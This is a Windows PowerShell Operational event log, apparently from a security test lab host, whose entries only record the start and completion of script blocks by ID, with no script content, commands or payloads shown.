OpCode=On create calls
RecordNumber=2041112
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041111
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041110
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041109
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041108
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041107
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041106
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041105
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041104
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041103
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041102
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041101
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041100
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041099
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041098
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041097
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041096
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041095
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041094
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041093
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041092
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041091
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041090
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041089
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041088
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041087
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041086
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041085
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041084
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041083
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041082
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041081
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041080
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041079
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041078
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041077
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041076
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041075
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041074
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041073
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041072
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041071
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041070
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041069
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041068
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041067
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041066
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041065
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041064
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041063
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041062
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041061
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041060
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041059
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
